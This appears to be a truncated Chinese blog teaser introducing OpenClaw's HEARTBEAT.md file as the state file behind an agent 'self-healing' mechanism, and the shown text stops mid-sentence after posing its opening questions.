网站建设 2026/9/29 15:52:05

OpenClaw HEARTBEAT.md:agent自愈机制的核心状态文件

最近被问得最多的一个问题是&#xff1a;OpenClaw 里那个HEARTBEAT.md到底是个什么文件&#xff1f;为什么每次 agent 一卡住、一崩溃、一锁死&#xff0c;所有人第一个想到的就是去看它&#xff1f;更有意思的是&#xff0c;网上都在传 OpenClaw 有个“自愈机制”&#xff0c;…

作者头像 李华